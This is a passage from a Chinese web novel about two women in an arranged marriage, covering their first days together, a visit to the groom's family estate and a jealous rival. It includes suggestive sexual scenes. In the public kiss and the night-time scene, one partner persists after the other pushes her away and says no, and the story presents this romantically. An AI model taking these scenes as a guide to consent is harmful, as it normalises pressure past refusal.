她怀中是沈既白的身体,仍旧□□。
沈既白还在熟睡,长发凌乱地与她的头发、手臂纠缠在一起,连带着身体部位也一样。
记忆汹涌回笼,夏慕雪低头瞥了眼自己也光着的身子,羞耻得简直想咬舌自尽。
她昨晚……到底是在干嘛……
心情太复杂了。
说好的履行妻子的义务,结果是让妻子把她给履行了!
她昨晚让新婚妻子劳累了好久,结束后就睡死过去了,都不知道对方是怎么把她搬回床上的。
这……怎么说呢,新婚第二天,夏慕雪就有种想离婚的冲动,好丢人啊!
她怎么这么没用啊!
脑海里却不由自主回忆起浴缸里的一切。
她的视野里,天花板灯光绚烂,沈既白的脸只有一个模糊的轮廓,说话的语气却温柔得过分:
“乖,放松点。”
“老婆……你好热。”
“嗯,乖乖配合我,就是好孩子……”
她隐约记得自己好似也发出过抗议,想要换个位置什么的,却被完全无视了。
夏慕雪脸红得快要滴血,被自己的没用震惊到无语。
她试着往旁边挪动,想要下床。
但她稍微一动,沈既白就醒了过来。
沈既白熟睡时面容平和,只是眉梢微微有些皱,好似在梦里也在处理公务,有种不设防备的本真感。
但她一醒来,那双眼尾细长的眼睛一睁开,便带着一股冷意,与生俱来似的,距离感瞬间变强。
她视线转动,落在身旁的夏慕雪脸上,眼神变得柔软了些:
“你醒了?几点了?”
夏慕雪:
“七点半。”
她顿了顿又问:
“你喜欢什么样的早餐?中式,还是西式的?”
沈既白长臂一伸,勾住夏慕雪的腰,将她拉回床上,又用一条手臂箍住她的脖颈,温柔却强硬地让她躺回原位。
沈既白拥着她,声音含混,将头埋进她怀里:
“不用你做早餐,有阿姨,你陪我继续睡。”
夏慕雪惊讶了一下,又理解了,这应该是沈既白单身时候的生活规律,一切有阿姨照料。
但现在两人结婚了,她得负起妻子的责任来。
她忍住脖颈上呼吸的痒意,轻轻推了推怀里的肩膀:
“可是,我是你的妻子,应该照顾你的呀。”
沈既白抬头看她,眼角带着一点儿
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没睡醒的泪花:
“你陪我睡好,就是照顾我。”
她再不容辩驳,揽住夏慕雪,很快就又进入睡眠。
夏慕雪只能配合。
困意袭来,她心里暗暗想,那些传闻都是编的吧?谁家矜贵高冷的大总裁,早晨会抱着老婆赖床啊?
真是……有点可爱。
*
赖床到九点多,两人才醒来,各自洗漱后去餐厅,桌上果然放好了早餐,中西式都有,放在保温盒里,还是温热的。
夏慕雪咬一口三明治,悄悄抬头,瞥一眼对面的人。
沈既白正用银汤匙舀粥喝,动作十分优雅,美得像电影角色。
夏慕雪至今都有一种不真实感,哪怕……经过了昨夜,她依然很难接受自己和沈既白结婚了这件事。
总觉得她应该是自己妹妹的妻子,怎么就变成自己的了呢?
“不合胃口吗?”
沈既白的声音打破寂静。
“啊……没有,很好吃。”
夏慕雪连忙又喝一口咖啡,表示自己在吃。
“我待会去上班。”
沈既白说着,拿起一旁显然造价昂贵的丝帕,轻轻擦拭嘴角。
“哦。”
夏慕雪随口回答。
不对。
气氛有点怪。
夏慕雪缓缓抬头,果然,沈既白正盯着她看,眉头皱着,显而易见有点不满。
“额……祝你,工作顺利?”
夏慕雪试探着说。
沈既白的不满很明显,但她没说什么,只是放下丝帕,对着夏慕雪招了招手。
夏慕雪心说自己要完了,没理解对方的意思,显然是惹恼人家了,这是要被严厉惩罚了!
果然传闻说的没错,沈既白真是个难相处的人,脾气也阴晴不定,难以揣摩,以后她的婚姻生活恐怕……
夏慕雪尽量拖慢脚步,在脑海里想着对策,但还没想出什么来,就已经到了沈既白身边。
沈既白抬手示意她低头。
夏慕雪动作慢了一步。
沈既白“啧”一声,伸手拉过她衣领,陡然用力,将人拽进怀里。
“啊!”
夏慕雪惊呼出声,本能地伸出双臂,抱住沈既白的脖颈。
沈既白低头看怀里的新婚妻子。
女孩儿神色惊慌,面容泛白,挺秀的鼻尖却微微有点红,好似受了委屈的小兔,正颤颤地抖动着睫毛。
沈既白捏住小兔的后颈,凑近她低声说话:
“我去上班,是向你报备。你要做什么,也要跟我报备。”
夏慕雪眨了眨眼,就这样?
她还以为会很严重……
她想了想,认真说道:
“我今天应该要签收从我家寄来的快递,得找个地方整理……可以给我一间屋子来放设备吗?”
沈既白捏了捏她后颈,语气淡淡地:
“好。家里的房间,你随意使用。”
夏慕雪心中涌起一股暖流:
“谢谢既白,那……我的报备就这些了。”
沈既白睨她一眼,总算放开了她:
“嗯。乖乖配合我,就是好孩子。”
夏慕雪差点儿没站稳,耳朵瞬间爆红。
这……这不是昨晚浴缸里她的原话吗……
气氛瞬间暧昧起来,仿佛又闻到那香气和水雾,看到绚烂灯光里欲望的痕迹……
眼看夏慕雪面色猛然涨红,沈既白却神态玩味,并不打算放过她:
“昨晚,我很满意,你呢?”
5. 回门
“啊……”
夏慕雪呆了一秒,立刻逃跑,一路头也不回跑去了客厅。
留下沈既白一个人坐在椅子里,嘴角微不可察地扬起一丝弧度。
白天很快过去。
夏慕雪选定了一间远离主卧的小房间,作为她的工作室。
她婚礼前就让夏家保姆阿姨帮忙,把她那些音乐设备全都打包寄了过来。
中午有上门阿姨做饭,见了她恭敬地叫她“沈太太”。
夏慕雪很不习惯,让对方叫自己夏小姐就好,不用冠妻姓。
吃完饭,又忙活了一下午,她才勉强把设备都调试好,累得倒在沙发上不想动。
晚上十点,门口传来开门声,她猛然抬头,挣扎着起身出去,又仔细带上房门。
她还没打算把这个爱好展示给沈既白看。
两人简单交谈几句,沈既白便又进书房工作,一直忙到夜深。
趁着沈既白泡澡的间隙,夏慕雪快速在另一间卫生间里洗了澡换了睡衣,趁主卧没人,赶紧钻进被子里躺好。
等沈既白回来,就见床上的新婚妻子规规矩矩侧躺着,被子拉到下巴,双眼紧紧闭着,仿佛早已睡熟。
她的新婚妻子身材有些瘦,只占据了大床的四分之一,背后那么多空间显然都是留给她的。
夏慕雪一只脚踝露在被子外面,纤细到不盈一握,正是昨夜浴缸里她把玩过的那一只。
沈既白从另一边上了床。
她掀起被单时,眼角余光瞥见夏慕雪浓密的睫毛一直在颤抖,明显很紧张。
见了她像老鼠见了猫。
沈既白停了动作,偏头看她。
夏慕雪的确非常紧张,虽然没睁眼,却对沈既白的一举一动都了如指掌。
真丝床单柔滑而无声,传递着身边人的所有动作细节,空气中有属于别人的幽幽香味,更有极轻微的呼吸声响。
然而等待许久,对方也没有进一步动作,反而安静地躺好,甚至没有触碰到她的躯体。
室内回归静谧,两个人的呼吸声微弱地彼此交织。
却又保持着的确是陌生人的距离。
夏慕雪呼出口气,身子微微松懈,却还不敢完全放松,一心注意着沈既白有没有睡着。
可等着等着,她却先坠入梦乡。
等到夏慕雪呼吸均匀绵长,睫毛不再颤动,面上呈现平静而纯真的熟睡表情时。
沈既白睁开了眼,缓缓凑近。
她盯着她的睡颜看了很久,眼底幽暗。
没有打扰,只是帮她掖好被角。
*
新婚第三天,按习俗是该回门了。
夏慕雪在早餐桌上提起这件事:
“今天是不是该回门了?”
沈既白放下碗筷,抬头看她:
“去你家吗?什么时候?”
夏慕雪忙道:
“不是不是,我是想,我是不是该去你家,拜访一下长辈们?”
她还没正式见过沈既白的家人们,于情于理,她都应该主动去见见。
沈既白想了想,低头瞥了眼手机,大概是在看日程表。
看完便说:
“今晚六点钟,我派司机接你去老宅。”
夏慕雪有些茫然:
“那……你不去吗?”
沈既白道:
“我还有工作要处理,你先过去,晚饭后我会到的。”
夏慕雪点点头,心里已经忐忑起来。
也就是说……有两三个小时,她都要一个人应付一大家子人。
虽然婚礼上那位沈家姥姥似乎挺喜欢她,可那有一大半是受婚礼氛围影响的。
夏慕雪一向社恐,在人情世故上又很迟钝,已经预见到自己被沈家人厌弃的场景,一整天都惴惴不安。
晚上七点,夏慕雪乘坐沈既白低调奢华的豪车,到了沈氏老宅。
这是一座中式园林庄园别墅,门口就有女管家来迎接她,一路毕恭毕敬称呼她为“夏小姐”。
夏慕雪惊讶道:
“你怎么知道我喜欢这个称呼?”
女管家一丝不苟回答:
“王姐告诉我的,她是负责去沈小姐家做菜的厨师。”
夏慕雪又是一惊。
看来以后在那位厨师王妈面前,要跟沈既白表演得恩爱一些才行。
绕过曲折的水上回廊,穿过锦鲤池和假山庭院,总算进了沈家正宅。
屋子整体有着现代化的优美明快,又有着旧时迷人的古典气息。
“是小雪到了?快进来!”
里屋响起苍老的声音。
夏慕雪加快脚步走进屋内,见除了沈家姥姥之外,还有好几个人坐在一块,有老有少,此刻都朝她检阅似的看过来。
夏慕雪今日穿着一条藕荷色修身旗袍,长发盘起用玉簪扎在脑后,额角垂下几缕,端庄古雅的淡妆,衬得她肌肤更显润泽白皙。
她眼神温和,似乎是人多,有些回避众人的视线,先看向姥姥所在的方向,话音很轻,音色天生地很甜:
“老祖宗,您好,我是夏慕雪。”
沈姥姥看得十分欢喜,连忙挥着手,高声说道:
“小雪啊,别这么生分,跟既白一样叫我姥姥就好!快过来,来姥姥身边坐,快来!”
夏慕雪听话地叫了声“姥姥”,便往前走去,坐在姥姥指示的位置上。
她左侧是姥姥,右侧是在婚礼上见过的病殃殃的中年女人,正友好地对她点头,目光同样温和欣赏。
她当然知道这是谁:
“沈阿姨,您身体还好吗?”
眼前人是沈既白的母亲沈翡,此刻微笑着望着夏慕雪,声音有些虚弱:
“还好,我这是老毛病了,没关系。倒是你,这几天……还习惯吗?”
夏慕雪点头:
“习惯的。”
沈翡有些自嘲似的一笑,眉目间竟与沈既白有七分相似。
她说话轻声细语,听着让人很舒服:
“我们家既白这孩子啊,从小吃了太多苦,那时候我太忙,没时间照顾她,还对她要求特别严格,给这孩子养成了现在这样的个性,真是又冷又倔……她是不是欺负你了?”
传闻中的大佬,在自己妈妈嘴里居然也满是缺点。
夏慕雪不知为何有点想笑,赶紧压平嘴角,严肃回答:
“没有,她……对我挺好的。”
沈翡笑着轻拍她肩膀:
“那可太好了,一开始她对联姻这事儿很冷淡,我还以为她……现在看起来啊,她也知道结婚的好了。小雪啊,你放心,她要是欺负你了,你就跟我说,我一定帮你骂她。”
夏慕雪乖巧点头:
“谢谢您,我知道了。”
沈翡又是一笑,丝毫没有沈家上任家主的架子。
夏慕雪一想到沈既白那样的性格,居然是这样的家庭养出来,就觉得很不可思议。
旁边还有几位女性长辈,此刻相继询问她的状况,虽然好奇,但都很有分寸。
沈家一向以女性为主,沈既白也是随母姓。
这些女性亲属有些在沈家集团做事,有些自己出去单干,都是业内如雷贯耳的人物。
不过夏慕雪也认不全,只能靠姥姥和沈翡一个一个介绍,她再礼貌地跟人家打招呼,倒也算其乐融融。
大家打过一路招呼,夏慕雪脊背总算放松下来。
“走吧,该吃晚饭了,小雪喜欢哪个菜系啊?我好请个专业的厨师上门帮你做。”
姥姥一路都拉着夏慕雪的手,一起去了餐厅,硬要让她坐在自己右手边。
餐桌琳琅满目,果然各种菜系都有,充满烟火气
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息。
众人一块儿吃饭,席间谈起沈既白小时候的趣事,听得夏慕雪也跟着抿嘴笑。
吃完饭,大家又一起回到起居室,沈翡说到兴起,让阿姨拿来一本老旧相册,要和夏慕雪一起翻看沈既白小时候的黑历史。
可是翻开相册就发现,实际上沈既白的照片也没几张,且几乎都是孤零零的,既没有亲人,也没有朋友。
其中一张照片,主角是穿着蓝色小裙子的三岁左右小女孩,在金碧辉煌的沙发上正襟危坐,双手叠在一起,目光警惕,抿着嘴角望向镜头,仿佛穿过薄薄的纸片,正在审视看照片的人。
夏慕雪手指拂过那张照片,脱口而出:
“我可以保留这张照片吗?”
沈翡笑得有点促狭:
“是觉得可爱吧?对吧,我也觉得好可爱!”
她说着便将照片拿出来,交给阿姨去复印和塑封。
夏慕雪尴尬地抿唇笑了笑:
“就是,想要保留下来。”
不是可爱,而是……她有点想要抚平小女孩紧绷的嘴角。
大家正看着照片,女管家来通报:
“赵媛小姐来了,说想见见夏小姐。”
姥姥“哎哟”了一声,跟沈翡隔空交换了一个眼神。
门口已经传来女孩清脆的声音:
“老祖宗!您怎么不理我,不欢迎我来呀?”
夏慕雪连忙抬眼看去。
那是一位浑身高奢品牌的女孩,一头靓丽金发,与她年纪相仿,但看起来比她明媚大方得多,神色更是骄傲又自然。
一进屋子,那位赵媛赵小姐目光便定在夏慕雪身上。
那目光赤、裸裸地掠过她全身上下,回到她脸庞与她对视几秒,留下一个意味不明的挑眉,似乎是不太满意。
夏慕雪莫名其妙。
赵媛却转而向姥姥和沈翡撒娇去了,言语之间和沈家人都很熟络:
“老祖宗,我去海湾度假给您寄回来的礼物,您还没告诉我您喜不喜欢呢!还有沈阿姨,既白结婚那天我有点事没去,您怎么都不关心我呀?”
沈姥姥和沈翡也明显宠着她,回话时都有点哄着她的意思。
有一瞬间赵媛成了人群的中心,夏慕雪感觉有点冷,她是不是该走了?
可是沈既白还没到……她也不知如何联系司机。
这时,赵媛忽然转头,对她发问:
“这位……夏小姐是吧?老祖宗想喝燕窝粥,你可以去厨房取来吗?”
沈姥姥面色尴尬,正要抬手叫佣人,夏慕雪却浅笑一声:
“好。”
她也想离开这是非之地一小会儿,出去透透气。
然而是非却来找她了。
赵媛跟过去,在空旷的餐厅里,傲慢地抬手挡住她去路。
“夏小姐,怎么我家沈姐姐没有陪你回老家啊?”
她家沈姐姐。
夏慕雪端着燕窝粥,眨了眨眼,轻声回答:
“她说有工作,待会再来。”
赵媛忽地笑起来,明媚,却又充满恶意:
“可是沈姐姐从来不用工作拒绝我哎!不过也是,沈姐姐跟我可是从小一起长大,我俩还是指腹为婚的,你才认识她多久啊,她不在意你也正常,毕竟沈姐姐对你这样的外人一向冷淡,嘻嘻……”
她掩着嘴笑,眼神里满是挑衅之意。
夏慕雪虽然迟钝,却不至于连这种程度的敌意都看不出来。
反驳的话刚到嘴边,却又咽回去了。
她并不真正知道沈既白和赵媛的关系……更不知道自己该站在什么立场去反击。
空气微冷,夏慕雪只觉得孤立无援。
就在此时,一道清凉悦耳的声音沉沉响起:
“她是我的妻子。”
“你才是那个‘外人’。”
6. 补偿
夏慕雪惊讶地回头看去。
沈既白正从餐厅门口的博古架边大步走来。
她穿米色休闲衬衫,和垂坠挺括的同色系西装裤,走动间,带来夏慕雪已经熟悉的清淡香味。
赵媛也看到了她,立刻不复之前的骄纵,小心地迎了上去:
“沈姐姐,我没有那个意……”
下一秒,她脸色陡然变得煞白。
沈既白直接绕过了她,目光甚至只在她身上停留了半秒不到,留下一道冷硬的余光,便完全走过她身侧,丝毫没有停留。
她只是边走,边紧紧盯着夏慕雪。
像盯着她所珍视的宝物。
夏慕雪的目光在空中与对方交汇,不知为何,她有点儿脸红。
像沈既白这样出色的人,专注地看着你,绕过别人、径直朝你走来,这画面任谁看到,都会有些心跳加速。
夏慕雪自然也一样,心脏在胸腔里雀跃一般,噗通、噗通、噗通。
“既白,你……”
她张口想要说点什么,化解心脏狂跳的窘迫。
却见沈既白来到她面前,忽地抬起一根食指,轻柔挡在她唇上。
那根手指骨节分明,细长优雅,指腹与娇嫩的唇瓣相摩擦,带来一阵痒意。
夏慕雪努力不去想这根手指曾经做过什么,红着脸抬眼瞥她,递过去一个疑问的眼神。
沈既白望着她,视线跟刚才看赵媛时截然不同,有了些许温度。
她声音十分清晰,带着刻意的亲昵:
“老婆,不好意思,我来晚了。”
听见这声亲密的“老婆”,后方本就已经面色煞白的赵媛,露出快气晕的表情。
但面前这两个人根本没人注意她。
夏慕雪被这样一叫,不由得垂下头去,声如蚊呐:
“没事……工作要紧。”
沈既白低头看她。
女孩白皙如玉的面庞染上红艳的云霞,双眸虽然低垂,仍然能看出漂亮的闪光。
沈既白伸出一只手,卡住夏慕雪的下巴,迫使她抬起头,继续说:
“我该补偿你的。”
那双水光潋滟的眼眸睁大了,眉梢微微皱着,鼻尖是粉嫩的红,双唇则是鲜艳的芍药花瓣。
沈既白望着那双微张的唇,吻了上去。
夏慕雪:
“嗯唔!”
她完全没预料到这个吻!
怎么会……还有外人在呢!在别人面前这样……这不合适……
她慌乱地抬手推她,却感觉到对方在她的抗拒之下,反而越吻越深,越重。
旁边似乎传来赵媛的惊呼声,还有更多的脚步声,她听不清。
夏慕雪简直要哭了,整个人都被那股冷香包围,又有种迷迷糊糊漂流在海上的感觉,理智和空气一起远去……
直到她感觉快要晕过去了,沈既白才放开她。
她完全倒在对方怀里,呼哧呼哧不顾形象地喘着气,视线虚焦了半天,才重新聚集起来。
沈既白关切地看她:
“你没事吧?”
夏慕雪一说话就咳嗽起来,也不知是咳的还是羞耻的,面庞又是鲜红颜色。
她只能用眼神拼命表达自己的愤怒,这也太……这可是在老宅里!还有赵媛……哦对了,赵媛呢?
她努力偏转脑袋去找人,却只见赵媛跑出去的身影,伴随着哭声一路传出去。
而在餐厅门口,沈姥姥不知何时过来了,正含笑看着这一幕。
夏慕雪尴尬又羞耻,只能回头愤怒地瞪沈既白。
沈既白接收到了她的愤怒,有些无奈地凑近,低声说:
“做给大家看的。”
夏慕雪开口,声音沙哑得厉害:
“那也没必要……用这么大力啊!”
沈既白忍不住轻笑,唇角还残留莹亮的水迹:
“好,下次,我会注意的。”
什么下次!没有下次了!
夏慕雪想这么喊,却又不能喊,只能气呼呼地站起来,率先往外走。
两人跟在姥姥身旁,一起回到起居室,沈翡和亲戚还在看相册,见她们出来便问:
“刚才小赵怎么哭着跑了?”
沈姥姥笑眯眯地:
“看见小妻妻亲嘴,受刺激了呗!”
沈翡惊讶地看过来,又捂着嘴笑,笑得夏慕雪想立刻找个地缝钻进去。
沈既白偏还拉着她,坐在姥姥身边,和沈翡一同看相册。
她和母亲的关系似乎有点奇怪,经常是沈翡问一句,她答一句,并不像跟姥姥说话时那样主动,总带着一点疏离。
夏慕雪静静坐在一边,总感觉所有人都在看自己被吻到发肿的嘴唇,尴尬至极,一直抿着嘴不说话。
直到时间差不多,沈既白忽然道:
“母亲,您不是说有东西要给慕雪?”
沈翡拍了拍手,旁边佣人便提过来一只红色礼盒,沈翡接过来,亲手递给夏慕雪。
夏慕雪忙起身双手接过,疑惑问:
“这是?”
沈翡看着她,面色难得郑重:
“是沈家的传家玉镯。你是既白的妻子,这是你该得的。”
夏慕雪肃然,觉得那礼盒简直千斤重。
不是只是商业联姻吗,至于连传家宝都给她吗?沈家是不是有点太重视了……
她有点无措,看向沈既白,想知道自己该不该拿。
沈既白淡声道:
“给你了你就戴着。”
她从夏慕雪手中拿过礼盒,自己打开,露出里面金色丝绸衬托的帝王绿冰种翡翠手镯。
这翡翠镯子种水极佳,颜色正、阳、浓、匀,实在太美太华贵,照映出满屋华彩。
沈姥姥在一旁笑着说:
“这镯子怕是比我年纪都大,当年也是老坑极品啊。”
沈既白将那只镯子拿出来,对夏慕雪说:
“伸手。”
夏慕雪还在发愣。
沈既白亲手将她的手拿过来,左手捧着她的手,右手将那只翡翠镯子戴在她手上。
旁边的沈翡小声惊呼:
“好配!”
夏慕雪有些钝地看自己手腕。
沈既白也在看,忍不住眯了眯眼。
实在很配,衬得那手腕更显白皙柔美。
很适合……一些事情。
道谢之后,便起身回程。
一路上,两人并排坐在后座,夏慕雪却刻意坐得离她较远。
两人中间仿佛隔了一段车流的光影。
夏慕雪看着窗外,沈既白偶尔看她一眼,倒也没急着开口。
回到楼上,沈既白去洗手。
夏慕雪将那份礼物拿到衣帽间里,有点找不到合适的地方放,只能别扭地出来问:
“这个镯子要放到哪里才安全?”
沈既白远远道:
“放保险柜吧。密码是756238。”
夏慕雪抿了抿唇,觉得自己对沈既白还是了解太少,作为总裁不是应该防备心重吗,怎么连保险柜密码都随便告诉她。
她按照密码打开保险柜,里
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面是空的。
哦,是她想多了。
是空的,所以密码什么的根本不重要,告诉她很正常。
她刚提起来的心又落了回去。
把镯子连盒子放进去关好,她转过身,见衣帽间里一大排同款不同色的西装衬衫长裤。
有时候觉得霸总的生活也挺无聊的,穿衣服只有这种款式。
但……她又在深处发现一条银色亮片紧身裙。
想象了一下沈既白那样清冷的美人,穿这件裙子的模样……夏慕雪按住了鼻子,生怕自己鼻血流出来。
沈既白刚好这时候走进了衣帽间,随口问她:
“打开了吗?”
夏慕雪转眼一瞧,鼻血差点儿真喷出来。
只见沈既白衬衫扣子完全解开,松松垮垮挂在身体两边,露出里面的黑色极简款式内衣。
沈既白有健身习惯,身材紧致,腰线曲线很优美,两侧两道蜿蜒的曲线如同人鱼摆尾,延伸进下方西装裤之下……
夏慕雪移开目光,快速往外走:
“放好了,我去洗澡……”
衣帽间入口不算窄,却也容不下两个人并肩站立,沈既白偏偏靠在墙边,挡住一半。
夏慕雪出去时,不得不侧着身子往外挪。
她已经尽量不挺胸了,却还是和沈既白的内衣撞在了一起。
摩擦,衣物窸窣,柔软与柔软的挤压。
沈既白的人鱼线几乎也要碰到她的腰胯了,叫夏慕雪简直进退两难,稍微一动便有钻进对方怀里的嫌疑。
“你是不是在吃醋?”
沈既白忽然问。
就卡在这里,就着两个人揉在一起的身体,这样问出口,仿佛在享受什么战利品。
夏慕雪感觉到这个人的恶劣。
她抬起头,很坦然,直视对方眼睛:
“当然没有,我只是你的联姻对象,没有吃醋的必要,这点道理我还是明白的。”
她的确是这么想的。
豪门联姻哪里来的吃醋不吃醋,不都是演出来的吗?
今天沈既白护着她,自然是为了摆脱那位执着的追求者,也是为给沈家姥姥和沈翡看。
夏慕雪从来不是个自恋的人,她对自己的位置,看得非常清晰。
对沈既白也逐渐有点懂了。
沈既白很在乎她的奶奶,便也会在奶奶面前维持恩爱的假象。
那个突如其来的吻……不过是手段之一。
夏慕雪挪了出去,那股特殊的冷香也远离了她。
沈既白抱着双臂站在她身后,声音冷冽:
“你不想知道赵媛是谁么?”
夏慕雪:
“不想。”
豪门恩怨,与她没有关系,她只想过自己的平静生活。
她转身离开,没再回头。
气氛沉默而冰凉,谁也没再说话。
当晚,两人背对背各自躺好。
夏慕雪快睡着的时候,感觉耳边有了动静。
真丝料子滑动着,沈既白大概是转过来,伸出一只手,覆盖上她腰间的真丝睡裙,一路向上,像某种蛇类。
夏慕雪轻轻移开身体,让那只手滑落下去,脑袋在枕头里埋得更深。
是明确的拒绝。
哪怕再模范的妻子,也有不履行义务的权利吧。
谁知沈既白却整个人攀了过来,揽住她的后背。
趁她还未来得及挣扎,沈既白突然张口,咬住她的耳垂。
“给我。”
她强硬的命令,撞进她的耳膜。
7. 有趣
沈既白说完那句话,对着她的耳朵,又轻轻吹了口气。
耳朵像是被清凉的泉水和香气灌满,激起耳后一大片的灼热,但夏慕雪死咬牙关,还是没给出回应。
“嗯……”
耳朵忽然被咬住,感受很奇异。
是真的咬,牙齿控制,摩挲,带着一点力道,又好似小猫戏弄玩具一般,时而放松。
夏慕雪随着那感觉,身子微微颤抖,喉咙里溢出一丝压不住的声响:
“唔……”
沈既白却放开了她,望着被折磨到通红、仿佛血玉般半透明的耳朵,叹口气道:
“真是不听话。”
怎么会这样?她什么意思?
夏慕雪觉得自己像一根被拉满到极限的琴弦,勉力支撑这摇摇欲坠的夜晚。
她翻了个身,转过脸来,对上沈既白细长的眼眸,尽量让自己语气保持冷静:
“你到底想干什么?”
沈既白与她距离极近,几乎是鼻尖碰鼻尖,目光深邃,呼吸有点快。
那只曾帮她戴上镯子的手,此刻挑开她衣襟,灵活地用行动回答了她。
夏慕雪虽然很不乐意,身子却率先有了反应,更叫她羞耻不堪。
她挪动着,试图推开对方,声音有点哑:
“不要,我今天很累。”
沈既白没有停止,话音里充满着旖旎的意念:
“可我亲了你之后,就很想你……”
夏慕雪根本没想到,白天那么淡的一个人,夜晚竟会如此黏人。
想起那个吻,她仿佛又回到那一刻,被对方紧紧抱在怀中,深深地唇齿交缠,共振相依。
不敢回想,一想到便有些异动,在心脏和身体里各处出现。
反正……享受欢愉,也是人之常情。她也是个普通人,并不抗拒和沈既白这样的美人亲近。
况且上次浴缸的初体验还……挺好的。
她闭上眼,放弃抵抗:
“那你自己玩,别太累了,明天还要上班呢。”
说完她便认命一般,彻底将自己摊平在床单上,任由对方动作。
沈既白迅速缠上来,将她抱紧。
这次是暴雨一般落下的吻,带着与沈既白其人不太匹配的征服意味。
夏慕雪那句别太累,完全被当成耳旁风,对方根本没听进去。
沈既白简直算是莽撞地乱来。
夏慕雪脑袋抵在床头,被逼进狭窄的角落里,无法逃离。
她看着天花板,在对方几近疯狂的动作之下,碎片化地冒出一个念头:
她……是不是生气了?怎么跟浴缸里那次完全相反啊……那次明明是温柔风的,现在怎么变成狂暴款了……
但这念头,很快便来不及去想了。
眩晕持续到第二天早晨。
夏慕雪根本不知道沈既白什么时候走的,她睡醒时已经天光大亮。
她只觉得自己又晕又疼,身体各处都好似被撞坏了一般,留下隐隐发作的疼痛。
她起身时,忍不住“嘶”一声。
去卫生间照镜子,更是自己都吓了一跳。
到处都是鲜艳的红痕,像盛放的红蔷薇。
她望着镜子愣了好一会儿,才叹了一口气,好好地清洗自己。
沈既白这个人……果然,非常不好相处。
昨晚也不知为什么突然发疯,整个都像变了一个人,所有的行为举止,叫她现在回忆起来,都觉得好陌生。
甚至有点儿后怕。
夏慕雪决定,接下去几天尽量对她能躲则躲,如果有可能,还是从主卧搬出来住吧。
她钻进自己新布置出来的小房间,沉浸在这个独属于自己的音乐世界里。
她是一位业内小有名气的音乐制作人,会作曲编曲,已经出了几首独立制作的单曲,还经常接网络上其他人的单子,帮忙制作。
手机上已经堆积了几个单子,这几天忙于结婚没来得及处理,现在也算尘埃落定,该干活儿了。
她微信置顶里,老客户JW发来消息:
【什么时候忙完啊,我的大音乐家?】
夏慕雪打字回复:
【现在着手制作你的歌曲,方便沟通一下吗?】
消息发出去没几分钟,对方忽然打来了视频通话。
夏慕雪差点儿把手机丢出去,她最怕视频通话了!
她抬手按掉,等了一会儿才回复:
【可以打语音,别打视频,不方便。】
对方如她所愿打来了语音电话,这次她犹豫一会儿,接了过来,很小声地:
“喂?”
对面传来一道沙哑的女性声音:
“雪顶慕斯,是你吗?我是JW。”
夏慕雪没想到对方是女人,惊了一下,又放松了些,调整声音到比较正常的大小:
“嗯,是我。”
对面开始说她的想法,夏慕雪则认真听着,时不时提出一些补充。
沟通结束后,夏慕雪挂断电话,认真谱曲。
整整一天都在小房间里忙碌,中午饭都是王妈敲门她才意识到要吃。
甚至连沈既白是什么时候回来的,她都没听见。
弄完一首曲子,发给JW,加了个“比耶”表情包。
JW忽然又打来语音电话,第一句就是:
“你也太牛了吧慕斯!我真没想到这首歌能好听到这个程度,大师级啊!”
夏慕雪听得开心,忍不住笑:
“哈哈哈,谢谢你啊,你喜欢就好。”
JW还在啧啧称奇,她本人就是唱摇滚的,声音有点沙哑,有种独特的成熟魅力,说话又很幽默,逗得夏慕雪一直在笑。
结束通话后,夏慕雪一眼看见手机时间,已经是晚上十点。
她捏了捏酸痛的脖颈,起身打开房门。
然后才发现,沈既白早已回到家,正坐在客厅沙发里。
她手中平板的屏幕还没有灭,上面呈现着单调上移的英文时事新闻。
见人出来,她放下平板,调整了一下坐姿,抬头看向她。
目光幽深,情绪复杂,看得夏慕雪有点儿想逃跑。
夏慕雪小声问:
“你在这坐了多久了?”
沈既白很平静地说:
“两小时多。”
夏慕雪有点儿惊讶,回来这么久……也没去找她吗?
但是不找她才是正常状态的沈既白吧。
夏慕雪想了想,还是主动解释:
“我刚刚一直在忙工作,没听见你进门,你
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吃晚饭了吗?”
沈既白淡淡应声:
“吃了。”
她放下平板,示意夏慕雪过来。
夏慕雪坐在她身旁的单人沙发上,有点局促,倒了杯水拿在手里。
沈既白看了眼夏慕雪身后那间小房间:
“你的工作,跟音乐有关?”
夏慕雪点头,跟她解释起来:
“我是音乐制作人,会自己写歌发歌,也会接别人的歌曲进行制作,还有编曲啊这些……说起来挺枯燥的……”
沈既白却听得认真,眼神有种奇特的温柔:
“不枯燥,很有趣。”
夏慕雪没料到会听见这个评价。
这间屋子的隔音条件一般,夏慕雪戴耳机久了耳朵会疼,家里又没人,她确实是一直外放的。
音乐制作并没有一般人想的那么好玩,很多时候是一个音符一个节奏地抠细节,很片段化,很不连贯,她自己都听得耳朵起茧子。
夏家人、她身边的朋友,都从未对她的工作说过“有趣”这种评价。
他们要么问“能挣钱吗这行”,要么嫌弃“别给夏家丢脸!”。
从来没有人,会说她的工作“有趣”。
这个人还是她那金尊玉贵的新婚妻子。
掌管着上千亿的商业帝国,每天不是在并购国外公司,就是在拓展集团业务,见过那么多世面的总裁,真的会觉得,她这种不起眼的小小工作“有趣”吗?
夏慕雪觉得这话大概率是哄她开心的,不过她也确实开心,便扬起脸来,对沈既白一笑:
“谢谢你,我也觉得很有趣。”
沈既白微不可察地勾了下唇角。
她指了指门厅处:
“喜欢吗?”
夏慕雪看向她纤长美丽的手,第一眼还以为她说的是喜不喜欢这根手指……
随即她被自己污浊的思想吓到,赶忙摇摇头,让自己清醒一点,便顺着那个方向看过去。
“哇……”
门厅处多了一只低调典雅的花瓶,里头插了一束鲜花。
这花束很是华美,整体以淡粉白的香雪兰为主,间杂着不少叫不出名字的珍稀花材,蓬而不乱,深深浅浅的粉与白、天蓝与嫩黄,交织成片。
一看便价格不菲,更难得的是搭配者审美极高,看一眼便是美的享受。
令夏慕雪想起清晨的云霞,也是那样温柔又夺目。
她忍不住站起身去花瓶附近看,爱不释手地碰一碰这朵、闻一闻那朵,随即转回头来,对着沈既白粲然一笑:
“很喜欢!这个颜色特别好看!”
“喜欢就好,下次让他们店定期送花过来。”
沈既白望着她。
温润而美好的女孩,搭配粉白色的花束,在门厅处昏暗的暖光下,美得像顶级摄影作品。
这幅作品此刻便倒映在沈既白视网膜上,专注而清晰。
但她还是在夏慕雪看过来之前,移开了视线,重回清冷疏离。
夏慕雪正捏着一片花叶,忽然听见沈既白的声音:
“今晚,我去隔壁房间睡。”
夏慕雪手指猛然收紧,将那片叶子弄破了一半。
她迅速遮掩住残破的叶片,低声回答:
“好的。”
8. 房间
这套大平层房间不多,每一间都精益求精,带有各自的卫生间和浴缸。
沈既白把自己的东西带走,临关门前回头看她:
